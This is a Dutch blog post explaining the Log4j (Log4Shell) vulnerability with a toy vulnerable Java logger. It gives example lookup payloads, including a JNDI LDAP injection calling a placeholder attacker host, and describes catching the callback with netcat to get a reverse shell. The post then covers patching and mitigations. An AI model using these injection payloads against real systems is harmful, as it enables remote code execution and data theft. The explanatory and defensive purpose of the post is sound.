Log4j vulnerability

Log4j kwetsbaarheid

Er zijn op dit moment al genoeg blogs te vinden die diep op de kwetsbaarheid in gaat, en overal is het al te zien en te horen. Op elke podcast is het te horen, het is namelijk niet zomaar een kwetsbaarheid. Veel bedrijven hebben te maken met de kwetsbaarheid en moeten zo snel mogelijk een update uitbrengen, dit om te voorkomen dat ze slachtoffer worden van een hack poging. Ik zal in deze blog een klein stukje schrijven over de kwetsbaarheid.

Hoe is de kwetsbaarheid ontstaan?

De kwetsbaarheid komt voort doordat er geen filtering wordt toegepast op het moment dat een kwaadwillende aanvaller een bepaalde invoer verstuurt naar de webapplicatie, als de webapplicatie gebruik maakt van log4j en de invoer wordt gelogd dan wordt de invoer niet als een string gezien maar als iets dat wordt uitgevoerd.

Eigenlijk kan een aanvaller bepalen wat er gelogd wordt, stel je voor dat een aanvaller onjuiste informatie naar de logs doorstuurt of dat er data in de log bestanden staat dat totaal niks te maken heeft met de huidige applicatie. Dat is niet echt de bedoeling, althans mag ik hopen.

Ik had het eerder al over malafide invoer dat naar het log bestand wordt gestuurd en niet wordt gezien als een string maar als iets anders, dit wordt eigenlijk een ‘lookup’ genoemd en dat begint met het volgende:

  • ${…..}

Dus wat er eigenlijk gebeurt aan de achterkant is het volgende, stel het volgende script voor:

import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;

public class PlayGarden{
static Logger logger = LogManager.getLogger(PlayGarden.class);

public static void main(String… args) {
logger.error(args[0]);
}
}

Example code

Bovenstaand is een simpel script dat een argument meeneemt en dat uit eindelijk in het log bestand plaatst, nou een voorbeeld van dit zou als volgt kunnen zijn:

java PlayGarden.java “I want to go from the slide!”

Het resultaat zou dan als volgt zijn:

[Timestamp] ERROR PlayGarden – I want to go from the slide

Op dit moment kan een aanvaller gebruik maken van een lookup en het volgende meegeven aan het programma

java PlayGarden.java “${java:version}”

Het resultaat zou dan het huidige versie zijn die te zien is in het log bestand. Dit simpele voorbeeld toont aan dat een kwaadwillende aanvaller heel makkelijk commando’s kan uitvoeren op het systeem, hij kan ook omgevings variables aanroepen zoals bijvoorbeeld ${env:USERNAME} waarna in het log bestand dus mogelijk de gebruikersnaam te zien is.

Maar dit is pas het begin want het is ook mogelijk om gebruik te maken van een java oplossing genaamd JNDI (Java Naming and Directory interface), hiermee is het mogelijk om live lookups uit te voeren zowel binnen als buiten het netwerk. Hieronder weer een kleine demonstratie van wat dit betekend.

Hetzelfde test programma van hierboven wordt gebruikt voor de demonstratie, echter wordt nu het volgende meegegeven door een aanvaller:

java PlayGarden.java {jndi:ldap://IP:PORT/test}

Als de aanvaller nu bijvoorbeeld een netcat luisteraar open heeft staan wordt er een verbinding opgezet met de luisteraar na het succesvol uitvoeren van bovenstaande voorbeeld. Het is dus mogelijk voor een aanvaller om een java programma te maken wat uiteindelijk een reverse shell kan geven nadat het bestand gedownload is naar de logging server. Hopelijk is het nu duidelijk hoe ernstig de kwetsbaarheid eigenlijk is en waarom het overal in het nieuws is (podcast, website’s, social media).

De kwetsbaarheid zit hem vooral in de lookups wat ik zojuist hierboven kort heb uitgelegd, er zijn talloze andere blogs die veel dieper gaan. Ik adviseer om die dan ook te gaan lezen als je nog dieper wilt gaan maar de kwetsbaarheid is gebaseerd op wat ik hierboven simpel heb uitgelegd.

Oplossing

Java heeft al een patch uitgebracht dat de kwetsbaarheid zou moeten oplossen, soms is het ook afhankelijk van de vendor of er een patch uitgebracht is of dat het nog even duurt voordat het kan. Op onderstaande afbeelding is een schematische weergave getoond hoe het mogelijk opgelast kan worden. Er zijn meerdere oplossingsmogelijkheden, de meest logische is de update uitvoeren maar als dat niet kan is het ook mogelijk om de lookup uit te zetten door het volgende te doen:

set LOG4J_FORMAT_MSG_NO_LOOKUPS=true

Verder een firewall regel dat bijvoorbeeld niet toe staat dat een server een verbinding maakt met een machine buiten de organisatie, als de TCP verbinding niet opgezet kan worden dan kan er ook niks worden gedownload en is het probleem verholpen.

Hoe weet ik of ik kwetsbaar ben?

Er is een website waarbij er op een makkelijke manier getest kan worden of jij kwetsbaar bent voor de kwetsbaarheid, de volgende website maakt het eenvoudig:

https://log4shell.huntress.com/

Je zou eigenlijk bij elke invoer moeten proberen om een omgevingsvariable of ander invoer te moeten invoeren en kijken in het log bestand of het op de juiste manier wordt afgehandeld of niet.

UPDATE!!!

Meest recente versie om naar te patchen is 2.17! Update naar versie 2.17 om de kwetsbaarheid volledig te mitigeren.

References

Please share and spread
NederlandsEnglish